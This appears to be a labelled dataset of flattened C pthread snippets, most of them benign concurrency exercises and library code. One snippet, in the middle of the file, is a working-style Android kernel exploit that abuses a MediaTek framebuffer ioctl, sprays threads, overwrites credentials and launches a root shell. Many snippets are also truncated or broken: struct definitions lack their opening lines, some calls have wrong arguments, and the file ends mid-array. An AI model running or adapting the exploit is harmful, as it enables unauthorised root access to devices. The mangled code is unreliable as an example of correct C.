if(head > TS_PACKET_NUM-1){ head = 0; } tp.tp_head = head; pthread_mutex_unlock(&tp.tp_mutex); return 0; }
0
#include <pthread.h>extern void __VERIFIER_error() ; int element[(20)]; int head; int tail; int amount; } QType; pthread_mutex_t m; int __VERIFIER_nondet_int(); int stored_elements[(20)]; _Bool enqueue_flag, dequeue_flag; QType queue; int init(QType *q) { q->head=0; q->tail=0; q->amount=0; } int empty(QType * q) { if (q->head == q->tail) { printf("queue is empty\\n"); return (-1); } else return 0; } int full(QType * q) { if (q->amount == (20)) { printf("queue is full\\n"); return (-2); } else return 0; } int enqueue(QType *q, int x) { q->element[q->tail] = x; q->amount++; if (q->tail == (20)) { q->tail = 1; } else { q->tail++; } return 0; } int dequeue(QType *q) { int x; x = q->element[q->head]; q->amount--; if (q->head == (20)) { q->head = 1; } else q->head++; return x; } void *t1(void *arg) { int value, i; pthread_mutex_lock(&m); if (enqueue_flag) { for( i=0; i<(20); i++) { value = __VERIFIER_nondet_int(); enqueue(&queue,value); stored_elements[i]=value; } enqueue_flag=(0); dequeue_flag=(1); } pthread_mutex_unlock(&m); return 0; } void *t2(void *arg) { int i; pthread_mutex_lock(&m); if (dequeue_flag) { for( i=0; i<(20); i++) { if (empty(&queue)!=(-1)) if (!dequeue(&queue)==stored_elements[i]) { ERROR: __VERIFIER_error(); } } dequeue_flag=(0); enqueue_flag=(1); } pthread_mutex_unlock(&m); return 0; } int main(void) { pthread_t id1, id2; enqueue_flag=(1); dequeue_flag=(0); init(&queue); if (!empty(&queue)==(-1)) { ERROR: __VERIFIER_error(); } pthread_mutex_init(&m, 0); pthread_create(&id1, 0, t1, &queue); pthread_create(&id2, 0, t2, &queue); pthread_join(id1, 0); pthread_join(id2, 0); return 0; }
1
#include <pthread.h> static bool is_kernel_writing = 0; static unsigned long magic_num = 0; pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; static unsigned long GetDispifInfoAddr(int fd) { void *addr = 0; struct mtk_dispif_info dispif_info; int i = 0; addr = mmap((unsigned long *) 0x50000000, 0x3000000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if ((unsigned long) addr != 0x50000000) { perror("mmap"); exit(-1); } memset(addr, 0x41, 0x3000000); dispif_info.display_id = 0xA04EC4EC; if(ioctl(fd, MTKFB_GET_DISPLAY_IF_INFORMATION, &dispif_info) == -1) { perror("ioctl"); close(fd); exit(-1); } for (i = 0; i < 0x3000000; i += 4) { if (*((unsigned long *) ((unsigned long) addr + i)) != 0x41414141) { return ((unsigned long) addr + i - 0x20 - 0xA04EC4EC * 0x34); } } return 0; } static int GetAllDisplayId(unsigned long dispif_info_addr, unsigned long *all_display_id) { unsigned long addr = 0; unsigned long display_id = 0x80000000; int cur_num = 0; for (addr = dispif_info_addr + display_id * 0x34 + 0x20; addr < 0xEFFF0000; display_id += 1, addr += 0x34) { if (addr > 0xC8000000 && (addr & 0x1FFF) == 0x1FF8 && display_id >= 0x80000000) { all_display_id[cur_num] = display_id; ++cur_num; } } return cur_num; } static bool TryExploit(unsigned long display_id, int fd) { struct mtk_dispif_info dispif_info; memset(&dispif_info, 0, sizeof(dispif_info)); dispif_info.display_id = display_id; if(ioctl(fd, MTKFB_GET_DISPLAY_IF_INFORMATION, &dispif_info) == -1) { perror("ioctl"); close(fd); exit(-1); } if (dispif_info.lcmOriginalHeight == 0xBF000000 && dispif_info.lcmOriginalWidth >= 0 && dispif_info.lcmOriginalWidth <= 10) { memset(&dispif_info, 0, sizeof(dispif_info)); dispif_info.display_id = display_id + 0x4EC4EC5 * 3; if(ioctl(fd, MTKFB_GET_DISPLAY_IF_INFORMATION, &dispif_info) == -1) { perror("ioctl"); close(fd); exit(-1); } if (dispif_info.isConnected >= 0xC0000000) { return 1; } } return 0; } static void DoRoot(void) { if (EscalationByModifyCreds("secauo", 1, magic_num)) { printf("Root success!\\n"); system("/system/bin/sh -i\\n"); } } void SprayingThread(void) { unsigned long i = 0; while (!is_kernel_writing) { pthread_mutex_lock(&mut); pthread_cond_wait(&cond, &mut); pthread_mutex_unlock(&mut); if (ReadPipe((unsigned long *) 0xc0800000, &i, 4) != -1) { is_kernel_writing = 1; printf("We need to get root here!\\n"); DoRoot(); } } } int main() { int fd = 0; unsigned long dispif_info_addr = 0; int num = 0; int i = 0; pthread_t thread[2800]; int round = 0; unsigned long all_display_id[200000]; prctl(PR_SET_NAME, "secauo", 0, 0, 0); fd = open("/dev/graphics/fb0", O_RDONLY); if (fd < 0) { perror("open /dev/graphics/fb0"); exit(-1); } dispif_info_addr = GetDispifInfoAddr(fd); if (dispif_info_addr == 0) { fprintf(stderr, "can not find dispif_info addr\\n"); close(fd); exit(-1); } printf("dispif_info_addr=0x%lx\\n", dispif_info_addr); num = GetAllDisplayId(dispif_info_addr, all_display_id); for (i = 0; i < 2800; ++i) { pthread_create((pthread_t *) &thread, 0, (void *) SprayingThread, 0); } printf("Spraying thread done!\\n"); for (i = 0; i < num; ++i) { magic_num = dispif_info_addr + all_display_id[i] * 0x34 + 0x28; if (TryExploit(all_display_id[i], fd)) { ++round; printf("Trying exp with display_id: 0x%lx, magic_num: 0x%lx\\n", all_display_id[i], magic_num); printf("%d round...\\n", round); pthread_cond_broadcast(&cond); sleep(1); if (is_kernel_writing) { pthread_cond_broadcast(&cond); break; } } } for (i = 0; i < 2800; ++i) { pthread_join(thread[i], 0); } close(fd); sleep(12121); }
0
#include <pthread.h> static int net_ready = 0; static int w_progress = -1; static char rbuf[3][2048][1024]; static pthread_mutex_t *log_mutex; struct net_arg_struct { int id; }; struct io_arg_struct { int id; }; struct net_arg_struct net_args; struct io_arg_struct io_args; void net_recv_write(int soc, struct sockaddr_in *sockaddr) { ssize_t num_recv; FILE *fd; char rbufp[1024]; char newfile[256]; char *tok; char *ios; fd = fopen("./log/log.txt", "w"); while(1){ num_recv = recvfrom(soc, rbufp, 1024, 0, 0, 0); if(num_recv == -1) { perror("recv"); close(soc); exit(1); } fprintf(fd, "%s", rbufp); if (!strncmp(rbufp, "88", 2)){ fflush(fd); fclose(fd); tok = strtok(rbufp, "\\t"); tok = strtok(0, "\\t"); ios = strtok(0, "\\t\\n"); ios = strtok(0, "\\t\\n"); strcpy(newfile, "log-"); strcat(newfile, ios); strcat(newfile, "-"); strcat(newfile, tok); strcat(newfile, ".txt"); rename("./log/log.txt", newfile); fd = fopen("./log/log.txt", "w"); } } fclose(fd); } void *net_thread(void *net_args) { int recv_soc; int recv_port = COMM_PORT; int stat; struct sockaddr_in recv_socaddr; fprintf(stderr,"Starting NET thread: %d\\n", 94); memset(&recv_socaddr, 0, sizeof(struct sockaddr_in)); recv_socaddr.sin_port = htons(recv_port); recv_socaddr.sin_family = AF_INET; recv_socaddr.sin_addr.s_addr = htonl(INADDR_ANY); recv_soc = socket(AF_INET, SOCK_DGRAM, 0); stat = bind(recv_soc, (struct sockaddr_in *) &recv_socaddr, sizeof(struct sockaddr_in)); net_recv_write(recv_soc, &recv_socaddr); return 0; } void net_recv(int soc, struct sockaddr_in *sockaddr, struct net_arg_struct *na) { int i, j; ssize_t num_recv; char *rbufp; for (i = 0; i< 3; i++){ if (w_progress == i){ fprintf(stderr,"Buffer overflow: %d\\n", 121); } pthread_mutex_lock(&log_mutex[i]); net_ready = 1; for(j = 0; j<2048; j++){ rbufp = rbuf[i][j]; num_recv = recvfrom(soc, rbufp, 1024, 0, 0, 0); if(num_recv == -1) { perror("recv"); close(soc); exit(1); } fprintf(stderr,"RECV: %s", rbufp); } pthread_mutex_unlock(&log_mutex[i]); } if (w_progress == -1){ fprintf(stderr,"File I/O too slow\\n"); exit(1); } } void *fio_thread(void *io_args) { int i, j; char *rbufp; FILE *fd; fprintf(stderr,"Starting LOG thread: %d\\n", 153); fd = fopen("./log/log.txt", "w"); while(net_ready != 1){ sched_yield(); } fprintf(stderr,"Starting logging: %d\\n", 164); while(1){ for (i = 0; i<3; i++){ pthread_mutex_lock(&log_mutex[i]); w_progress = i; for (j = 0; j<2048; j++){ rbufp = rbuf[i][j]; fprintf(fd, "%s", rbufp); } pthread_mutex_unlock(&log_mutex[i]); } } } int main() { int i; char com; pthread_t netthr; log_mutex = (pthread_mutex_t *)malloc(sizeof(pthread_mutex_t) * 3); for(i=0; i<3; i++){ pthread_mutex_init(&log_mutex[i], 0); } if(pthread_create(&netthr, 0, net_thread, &net_args)){ exit(1); } while(1){ printf("COMMAND(q): "); scanf("%c", &com); if (com == 'q'){ fflush(0); exit(0); }else{ fflush(0); } } pthread_join(netthr, 0); }
1
#include <pthread.h> void *thread_update(void *threadid); int i; double X_acc; double Y_acc; double Z_acc; double Roll; double Pitch; double Yaw; struct timespec Sample_time; }Space_Param1; Space_Param1 Space_Param; pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; void *thread_update(void *threadid) { if((int)threadid == 1) { printf("Thread 1 is updating"); int result; Space_Param1 Space_Param_Update; Space_Param_Update.X_acc = 12.34567; Space_Param_Update.Y_acc = 12.34567 + 1.005; Space_Param_Update.Z_acc = 12.34567 + 2.005; Space_Param_Update.Roll = 12.34567 + 3.005; Space_Param_Update.Pitch = 12.34567 + 4.005; Space_Param_Update.Yaw = 12.34567 + 5.005; result = clock_gettime(CLOCK_REALTIME, &Space_Param_Update.Sample_time); if(result != 0) { perror("getclock"); } Space_Param_Update.Sample_time.tv_sec += 50; Space_Param_Update.Sample_time.tv_nsec += 1000000; pthread_mutex_lock(&mutex1); Space_Param = Space_Param_Update; result = clock_settime(CLOCK_REALTIME, &Space_Param.Sample_time); if(result != 0) perror("setclock"); pthread_mutex_unlock(&mutex1); } else{ printf("Thread 2 is reading"); Space_Param1 Space_Param_Read; int result; pthread_mutex_lock(&mutex1); Space_Param_Read = Space_Param; printf (" R1 X : %lf, Y : %lf , Z : %lf, Roll : %lf,Pitch : %lf, Yaw : %lf.\\n", Space_Param_Read.X_acc, Space_Param_Read.Y_acc, Space_Param_Read.Z_acc, Space_Param_Read.Roll,Space_Param_Read.Pitch, Space_Param_Read.Yaw); result = clock_gettime(CLOCK_REALTIME, &Space_Param_Read.Sample_time); if(result != 0) perror("getclock"); if(i == 1) { printf(" R2 Clock gettime function status : %d, clock_tvsec : %llf, clock+tvnsec : %lf.\\n", result, Space_Param_Read.Sample_time.tv_sec, Space_Param_Read.Sample_time.tv_nsec); } pthread_mutex_unlock(&mutex1); } } int main() { pthread_t thread1, thread2; int rc1, rc2; if(pthread_mutex_init(&mutex1, 0) != 0) { perror("mutex_init error"); } if((rc1=pthread_create(&thread1, 0, &thread_update, (void *)1)) != 0 ) { perror("thread1_create error"); } usleep(10000); usleep(100000); if((rc2=pthread_create(&thread2, 0, &thread_update, (void*)2)) != 0 ) { perror("thread1_create error"); } usleep(100000); pthread_join( thread1, 0); pthread_join( thread2, 0); }
0
#include <pthread.h> int buffer[5]; int readingHead; int writingHead; sem_t occuppees; sem_t libres; pthread_mutex_t mut; void *write( void *n ); void *read(); int main (int argc, const char* argv[]) { pthread_t writer1; pthread_t writer2; pthread_t writer3; pthread_t reader; srand(time(0)); int i = 0; readingHead=0; writingHead=0; for (i=0; i<5; ++i) buffer[i]=0; sem_init(&occuppees, 0, 0); sem_init(&libres, 0, 5); pthread_create(&writer1, 0, write, (void *) "1" ); pthread_create(&writer2, 0, write, (void *) "2" ); pthread_create(&writer3, 0, write, (void *) "3" ); pthread_create(&reader, 0, read, 0 ); pthread_join( writer1, 0 ); pthread_join( writer2, 0 ); pthread_join( writer3, 0 ); pthread_join( reader, 0 ); exit(0); } void *read() { int i = 0; for (i=0; i<15; ++i) { sleep(2); sem_wait(&occuppees); printf("\\tlecture: %d - %d\\n", readingHead, buffer[readingHead]); if (readingHead==5 -1) readingHead = 0; else readingHead++; sem_post(&libres); } } void *write( void * n ) { int i=0; for(i=0; i<5; ++i) { sem_wait(&libres); int value = (int)rand()%10; pthread_mutex_lock(&mut); buffer[writingHead] = value; printf("ecriture %s: %d - %d\\n", (char *) n, writingHead, value); if (writingHead==5 -1) writingHead = 0; else writingHead++; pthread_mutex_unlock(&mut); sem_post(&occuppees); } }
1
#include <pthread.h> int res = 12345 ; int * px = 0 ; int * py = 0 ; pthread_mutex_t verroupx = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t verroupy = PTHREAD_MUTEX_INITIALIZER; int nblibre = 0; void* mon_threadpx(void * arg){ int max = *(int*)arg ; int i ; for(i = 0 ; i < max ; i++ ){ pthread_mutex_lock(&verroupx); nblibre -- ; printf("Voila la valeur contenue dans px : %d\\n",*px); pthread_mutex_unlock(&verroupx); } pthread_exit(&res); } void* mon_threadpy(void * arg){ int max = *(int*)arg ; int i ; for(i = 0 ; i < max ; i++ ){ pthread_mutex_lock(&verroupy); printf("Voila la valeur contenue dans py : %d\\n",*py); pthread_mutex_unlock(&verroupy); } pthread_exit(&res); } int main() { int x = 1 ; px = &x ; int y = 0 ; py = &y ; int m ; scanf("%d",&m); pthread_t id1 ; pthread_create(&id1,0,mon_threadpx,&m); pthread_t id2 ; pthread_create(&id2,0,mon_threadpy,&m); int j = 0 ; while(j<m){ if(pthread_mutex_trylock(&verroupx)==0){ if(pthread_mutex_trylock(&verroupy)==0){ px = 0 ; py = 0 ; printf("Valeur de j : %d \\n",j); px = &x ; py = &y ; j++ ; pthread_mutex_unlock(&verroupy); } pthread_mutex_unlock(&verroupx); } } pthread_exit(0); return 0 ; }
0
#include <pthread.h> int val; struct list_node* next; } list_node; pthread_mutex_t read_mutex; pthread_mutex_t append_mutex; pthread_cond_t no_readers; pthread_cond_t no_erasers; unsigned reader_count; unsigned del_req; list_node* start_node; } clist; void clist_init(clist* list) { pthread_mutex_init(&list->read_mutex, 0); pthread_mutex_init(&list->append_mutex, 0); pthread_cond_init(&list->no_readers, 0); pthread_cond_init(&list->no_erasers, 0); list->start_node = 0; list->reader_count = 0; list->del_req = 0; } void clist_lock_search(clist* list) { pthread_mutex_lock(&list->read_mutex); if(list->del_req > 0) { pthread_cond_wait(&list->no_erasers, &list->read_mutex); } list->reader_count += 1; pthread_mutex_unlock(&list->read_mutex); } void clist_unlock_search(clist* list) { pthread_mutex_lock(&list->read_mutex); list->reader_count -= 1; if(list->reader_count == 0) { pthread_cond_broadcast(&list->no_readers); } pthread_mutex_unlock(&list->read_mutex); } int clist_node_search(clist* list, int val) { list_node* node = list->start_node; while(node != 0) { if(node->val == val) { return 1; } node = node->next; } return 0; } int clist_search(clist* list, int val) { clist_lock_search(list); int result = clist_node_search(list, val); clist_unlock_search(list); return result; } void clist_lock_append(clist* list) { pthread_mutex_lock(&list->append_mutex); } void clist_unlock_append(clist* list) { pthread_mutex_unlock(&list->append_mutex); } list_node* clist_create_node(int val) { list_node* node = malloc(sizeof(list_node)); node->val = val; node->next = 0; return node; } void clist_node_append(clist* list, int val) { list_node* node = list->start_node; if(node == 0) { list->start_node = clist_create_node(val); return; } while(node->next != 0) { node = node->next; } node->next = clist_create_node(val); } void clist_append(clist* list, int val) { clist_lock_append(list); clist_node_append(list, val); clist_unlock_append(list); } void clist_lock_delete(clist* list) { pthread_mutex_lock(&list->read_mutex); if(list->reader_count > 0) { list->del_req += 1; pthread_cond_wait(&list->no_readers, &list->read_mutex); list->del_req -= 1; } pthread_mutex_lock(&list->append_mutex); } void clist_unlock_delete(clist* list) { if(list->del_req == 0) { pthread_cond_broadcast(&list->no_erasers); } pthread_mutex_unlock(&list->read_mutex); pthread_mutex_unlock(&list->append_mutex); } void clist_node_cut(clist* list, list_node* prev_node, list_node* node) { if(prev_node == 0) { list->start_node = node->next; }else { prev_node->next = node->next; } free(node); } int clist_node_delete(clist* list, int val) { list_node* prev_node = 0; list_node* node = list->start_node; while(node != 0) { if(node->val == val) { clist_node_cut(list, prev_node, node); return 1; } prev_node = node; node = node->next; } return 0; } int clist_delete(clist* list, int val) { clist_lock_delete(list); int result = clist_node_delete(list, val); clist_unlock_delete(list); return result; } clist list; int max_rand = 1000000; pthread_t thread_arr[100]; void* reader_test() { while(1) { usleep(rand() % 500); int val = rand() % 1000000; int result = clist_search(&list, val); printf("Searching %d, result: %d\\n", val, result); } return 0; } void* writer_test() { int set_counter = 0; int val_set[10000]; while(1) { usleep(rand() % 1000); if(rand() % 3 == 0 && set_counter < 10000) { int val = rand() % 1000000; clist_append(&list, val); printf("Inserting %d\\n", val); val_set[set_counter] = val; set_counter += 1; }else if(set_counter > 0) { set_counter -= 1; int result = clist_delete(&list, val_set[set_counter]); printf("Deleting %d, result: %d\\n", val_set[set_counter], result); } } return 0; } void multi_thread_test() { clist_init(&list); for(int i = 0; i < 100; i++) { if(i % 2 == 0) { pthread_create(&thread_arr[i], 0, reader_test, 0); }else { pthread_create(&thread_arr[i], 0, writer_test, 0); } } for(int i = 0; i < 100; i++) { pthread_join(thread_arr[i], 0); } } void one_thread_test() { clist_init(&list); clist_append(&list, 1); clist_append(&list, 2); clist_append(&list, 3); printf("%d\\n", clist_search(&list, 1)); printf("%d\\n", clist_search(&list, 2)); printf("%d\\n", clist_search(&list, 3)); printf("%d\\n", clist_search(&list, 4)); printf("%d\\n", clist_delete(&list, 2)); printf("%d\\n", clist_search(&list, 2)); printf("%d\\n", clist_search(&list, 3)); printf("%d\\n", clist_delete(&list, 1)); printf("%d\\n", clist_search(&list, 3)); printf("%d\\n", clist_delete(&list, 3)); printf("%d\\n", clist_search(&list, 3)); printf("%d\\n", clist_delete(&list, 3)); } int main() { srand(time(0)); multi_thread_test(); return 0; }
1
#include <pthread.h> int val; struct node *next; struct node *prev; } node; node* front = 0; node* rear = 0; pthread_mutex_t mutexFront = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutexRear = PTHREAD_MUTEX_INITIALIZER; void print_queue() { node* current = front; while (current != 0) { printf("%d -> ", current->val); current = current->next; } printf("\\n"); } int enqueue(int item) { node* newNode = malloc(sizeof(node)); newNode->val = item; newNode->prev = 0; pthread_mutex_lock(&mutexFront); newNode->next = front; if (front != 0) front->prev = newNode; front = newNode; if (rear == 0) rear = front; pthread_mutex_unlock(&mutexFront); } int dequeue() { pthread_mutex_lock(&mutexRear); long stuck = 0; while (rear == 0); node* dequeuedNode = rear; if (rear == front) { pthread_mutex_lock(&mutexFront); if (rear == front) { front = 0; rear = 0; } else { pthread_mutex_unlock(&mutexFront); pthread_mutex_unlock(&mutexRear); return dequeue(); } pthread_mutex_unlock(&mutexFront); } else { rear = rear->prev; if (rear != 0) rear->next = 0; } pthread_mutex_unlock(&mutexRear); return dequeuedNode->val; } void* benchEnqueue(void* num) { for(int i = 0; i < *(int*)num; i++) enqueue(rand() % 100); } void* benchDequeue(void* num) { for(int i = 0; i < *(int*)num; i++) dequeue(); } int main(int argc, char *argv[]) { if (argc != 3) { printf("usage: list <total> <threads>\\n"); exit(0); } int n = atoi(argv[2]); int inc = (atoi(argv[1]) / n); printf("%d threads doing %d operations each\\n", n, inc); pthread_t *threads = malloc(n * sizeof(pthread_t)); pthread_t *threads2 = malloc(n * sizeof(pthread_t)); args *arg = malloc((n + 1) * sizeof(arg)); struct timespec t_start, t_stop; clock_gettime(CLOCK_MONOTONIC_COARSE, &t_start); for(int i = 0; i < n; i++) { arg[i].num = inc; pthread_create(&threads[i], 0, benchEnqueue, &arg[i]); } for(int i = 0; i < n; i++) pthread_create(&threads2[i], 0, benchDequeue, &arg[i]); for(int i = 0; i < n; i++) pthread_join(threads[i], 0); printf("thread1 done\\n"); for(int i = 0; i < n; i++) pthread_join(threads2[i], 0); printf("thread2 done\\n"); clock_gettime(CLOCK_MONOTONIC_COARSE, &t_stop); long wall_sec = t_stop.tv_sec - t_start.tv_sec; long wall_nsec = t_stop.tv_nsec - t_start.tv_nsec; long wall_msec = (wall_sec * 1000) + (wall_nsec / 1000000); printf("done in %ld ms\\n", wall_msec); print_queue(); free(threads); free(threads2); return 0; }
0
#include <pthread.h> pthread_mutex_t forks[5]; pthread_t phils[5]; pthread_mutex_t foodlock; int eated[5]; int sleep_seconds = 3000; void *philosopherRoutine(void*); int get_food(); void get_fork(int,int,char*); void put_forks(int,int); int main ( int argc , char **argv ) { int i; if( argc == 2 ) sleep_seconds = atoi( argv[1] ); pthread_mutex_init(&foodlock, 0); for (i = 0; i < 5; i++) { pthread_mutex_init(&forks[i], 0); pthread_create(&phils[i], 0, philosopherRoutine, (void *)i); } for (i = 0; i < 5; i++) { pthread_join(phils[i], 0); } for(i = 0; i < 5; ++i) { printf("%d eated %d\\n",i, eated[i] ); } printf( "\\nDONE.\\n\\n"); return 0; } void *philosopherRoutine(void *num) { int id = (int)num; int left_fork, right_fork, f; right_fork = id; left_fork = (id + 1) % 5; int counter = 1; while( f = get_food()) { if( id % 2) { get_fork( id , left_fork , "left" ); get_fork( id , right_fork , "right" ); } else { get_fork( id , right_fork , "right" ); get_fork( id , left_fork , "left" ); } eated[id]++; if(id % 2) put_forks( left_fork , right_fork ); else put_forks( right_fork , left_fork ); } return(0); } int get_food() { static int total_food = 50; int curr_food; pthread_mutex_lock(&foodlock); if (total_food > 0) --total_food; curr_food = total_food; pthread_mutex_unlock(&foodlock); return curr_food; } void get_fork( int phil , int fork , char *hand ) { pthread_mutex_lock( &forks[fork] ); } void put_forks( int f1 , int f2 ) { pthread_mutex_unlock( &forks[f1] ); pthread_mutex_unlock( &forks[f2] ); }
1
#include <pthread.h> static pthread_key_t key; static pthread_once_t init_done = PTHREAD_ONCE_INIT; pthread_mutex_t env_mutex = PTHREAD_MUTEX_INITIALIZER; extern char **environ; static void thread_init(void) { pthread_key_create(&key, free); } char * getenv(const char *name) { int i, len; char *envbuf; pthread_once(&init_done, thread_init); pthread_mutex_lock(&env_mutex); envbuf = (char *)pthread_getspecific(key); if (envbuf == 0) { envbuf = malloc(4096); if (envbuf == 0) { pthread_mutex_unlock(&env_mutex); return (0); } pthread_setspecific(key, envbuf); } len = strlen(name); for (i=0; environ[i] != 0; ++i) { if ((strncmp(name, environ[i], len) == 0) && (environ[i][len] == '=')) { strncpy(envbuf, &environ[i][len+1], 4096 -1); pthread_mutex_unlock(&env_mutex); return envbuf; } } pthread_mutex_unlock(&env_mutex); return (0); }
0
#include <pthread.h> struct msg{ struct msg *next; int num; }; struct msg *head; pthread_cond_t has_product = PTHREAD_COND_INITIALIZER; pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; void *consumer(void *p) { struct msg *mp; for(;;){ pthread_mutex_lock(&lock); while(head == 0) pthread_cond_wait(&has_product, &lock); mp = head; head = mp->next; pthread_mutex_unlock(&lock); printf("Consume %d \\n", mp->num); free(mp); sleep(rand() %5); } } void *producer(void *p) { struct msg *mp; for(;;){ mp = malloc(sizeof(struct msg)); mp->num = rand() % 1000+1; printf("Producer %d \\n", mp->num); pthread_mutex_lock(&lock); mp->next = head; head = mp; pthread_mutex_unlock(&lock); pthread_cond_signal(&has_product); sleep(rand()%5); } } int main(int argc, char *argv[ ]) { pthread_t pid, cid; srand(time(0)); pthread_create(&pid, 0, producer, 0); pthread_create(&cid, 0, consumer, 0); pthread_join(pid, 0); pthread_join(cid, 0); return 0; }
1
#include <pthread.h> void readrec_dir(char *directory,pthread_mutex_t *mtx,pthread_mutex_t *cmtx,int newsock,int queue_size,pthread_cond_t *cond_nonempty,pthread_cond_t *cond_nonfull) { char *buffer; DIR *dir; struct dirent entry; struct dirent *result = 0; if (strcmp(directory,"EXIT") == 0) return; dir = opendir(directory); while ((readdir_r(dir,&entry,&result) == 0) && (result != 0)) { if (strcmp(entry.d_name,".") != 0 && strcmp(entry.d_name,"..") != 0) { buffer = (char *)malloc(sizeof(char)*(strlen(directory)+strlen(entry.d_name)+2)); buffer[0] = '\\0'; strcat(buffer,directory); strcat(buffer,"/"); strcat(buffer,entry.d_name); if (entry.d_type == DT_REG) { pthread_mutex_lock(mtx); while (get_list_size() >= queue_size) pthread_cond_wait(cond_nonfull,mtx); printf ("[Thread: %u]: Adding file %s to the queue...\\n",(unsigned int)pthread_self(),buffer); list_insert(buffer,newsock,cmtx); pthread_cond_signal(cond_nonempty); pthread_mutex_unlock(mtx); } if (entry.d_type == DT_DIR) readrec_dir(buffer,mtx,cmtx,newsock,queue_size,cond_nonempty,cond_nonfull); free(buffer); } } closedir(dir); } void readrec_count(char *directory,int *count) { char *buffer; int fsize=0; DIR *dir; struct dirent entry; struct dirent *result = 0; if (strcmp(directory,"EXIT") == 0) return; dir = opendir(directory); while ((readdir_r(dir,&entry,&result) == 0) && (result != 0)) { if (strcmp(entry.d_name,".") != 0 && strcmp(entry.d_name,"..") != 0) { buffer = (char *)malloc(sizeof(char)*(strlen(directory)+strlen(entry.d_name)+2)); buffer[0] = '\\0'; strcat(buffer,directory); strcat(buffer,"/"); strcat(buffer,entry.d_name); if (entry.d_type == DT_REG) *count = *count +1; if (entry.d_type == DT_DIR) readrec_count(buffer,count); free(buffer); } } closedir(dir); }
0
#include <pthread.h> int aio_cancel (fildes, aiocbp) int fildes; struct aiocb *aiocbp; { struct requestlist *req = 0; int result = AIO_ALLDONE; if (fcntl (fildes, F_GETFL) < 0) { errno = EBADF; return -1; } pthread_mutex_lock (&aio_requests_mutex); if (aiocbp != 0) { if (aiocbp->aio_fildes == fildes) { struct requestlist *last = 0; req = aio_find_req_fd (fildes); if (req == 0) { not_found: pthread_mutex_unlock (&aio_requests_mutex); errno = EINVAL; return -1; } while (req->aiocbp != aiocbp) { last = req; req = req->next_prio; if (req == 0) goto not_found; } if (req->running == allocated) { result = AIO_NOTCANCELED; req = 0; } else { aio_remove_request (last, req, 0); result = AIO_CANCELED; req->next_prio = 0; } } } else { req = aio_find_req_fd (fildes); if (req != 0) { if (req->running == allocated) { struct requestlist *old = req; req = req->next_prio; old->next_prio = 0; result = AIO_NOTCANCELED; if (req != 0) aio_remove_request (old, req, 1); } else { result = AIO_CANCELED; aio_remove_request (0, req, 1); } } } while (req != 0) { struct requestlist *old = req; assert (req->running == yes || req->running == queued); req->aiocbp->error_code = ECANCELED; req->aiocbp->return_value = -1; aio_notify (req); req = req->next_prio; aio_free_request (old); } pthread_mutex_unlock (&aio_requests_mutex); return result; }
1
#include <pthread.h> int quitflag; sigset_t mask; pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t wait = PTHREAD_COND_INITIALIZER; void *thr_fn(void *arg){ int err, signo; for ( ; ; ){ err = sigwait(&mask, &signo); switch (signo){ case SIGINT: printf("interrupt\\n"); break; case SIGQUIT: pthread_mutex_lock(&lock); quitflag = 1; pthread_mutex_unlock(&lock); pthread_cond_signal(&wait); return (0); break; default: printf("unexcepted signal %d\\n", signo); exit(1); } } } int main(void){ int err; sigset_t oldmask; pthread_t tid; sigemptyset(&mask); sigaddset(SIGINT, &mask); sigaddset(SIGQUIT, &mask); pthread_sigmask(SIG_BLOCK, &mask, &oldmask); pthread_create(&tid, 0, thr_fn, 0); pthread_mutex_lock(&lock); while (quitflag == 0) pthread_cond_wait(&wait, &lock); pthread_mutex_unlock(&lock); quitflag = 0; sigprocmask(SIG_SETMASK, &oldmask, 0); exit(0); }
0
#include <pthread.h> int fdd, dir; long spd = 1; long order[10]; long long distance_prev, distance_pres; int breakflag; pthread_mutex_t mut; void *sensor_read() { int fd, res, retioctl, cmd; int k = 0; long long timebuf = 0, tmp; int dirprev; fd = open("/dev/pulse", O_RDWR); if (fd < 0 ) { printf("\\nCan not open device file.\\n"); } while(1) { pthread_mutex_lock(&mut); res = write(fd, &res, 1); do { res = read(fd, &timebuf, sizeof(timebuf)); }while(res == -1); distance_prev = distance_pres; tmp = timebuf * 34; distance_pres = tmp/200000; cmd = distance_pres/10; spd = ((distance_pres * 10) + 1); dirprev = dir; if(distance_pres - distance_prev > 3) { dir = 1; } else if(distance_prev - distance_pres > 3) { dir = 0; } switch(cmd) { case 1: if(dir == 0) { order[0] = 0; order[1] = spd; order[2] = 1; order[3] = spd; order[4] = order[5] = 0; } else if(dir == 1) { order[0] = 2; order[1] = spd; order[2] = 3; order[3] = spd; order[4] = order[5] = 0; } break; case 2: if(dir == 0) { order[0] = 4; order[1] = spd; order[2] = 5; order[3] = spd; order[4] = order[5] = 0; } else if(dir == 1) { order[0] = 6; order[1] = spd; order[2] = 7; order[3] = spd; order[4] = order[5] = 0; } break; case 3: if(dir == 0) { order[0] = 8; order[1] = spd; order[2] = 9; order[3] = spd; order[4] = order[5] = 0; } else if(dir == 1) { order[0] = 10; order[1] = spd; order[2] = 11; order[3] = spd; order[4] = order[5] = 0; } break; case 4: if(dir == 0) { order[0] = 12; order[1] = spd; order[2] = 13; order[3] = spd; order[4] = order[5] = 0; } else if(dir == 1) { order[0] = 14; order[1] = spd; order[2] = 15; order[3] = spd; order[4] = order[5] = 0; } break; default: if(dir == 0) { order[0] = 16; order[1] = spd; order[2] = 17; order[3] = spd; order[4] = order[5] = 0; } else if(dir == 1) { order[0] = 16; order[1] = spd; order[2] = 17; order[3] = spd; order[4] = order[5] = 0; } break; } if(breakflag == 0) res = write(fdd, (char *) order, 1, 0); else break; usleep(3000); pthread_mutex_unlock(&mut); } close(fd); pthread_exit("sensor read thread"); } void main() { int j, i = 0, retioctl = 0, res = 0, spd = 4; pthread_t sensor_thread; void *thread_result; int opt; uint16_t pattern[20][8] = { {0x0100, 0x0200, 0x0300, 0x0404, 0x051F, 0x0614, 0x0707, 0x0802}, {0x0100, 0x0200, 0x0300, 0x0405, 0x051E, 0x0615, 0x0706, 0x0808}, {0x0800, 0x0700, 0x0600, 0x0504, 0x041F, 0x0314, 0x0207, 0x0102}, {0x0800, 0x0700, 0x0600, 0x0505, 0x041E, 0x0315, 0x0206, 0x0108}, {0x0100, 0x0200, 0x030C, 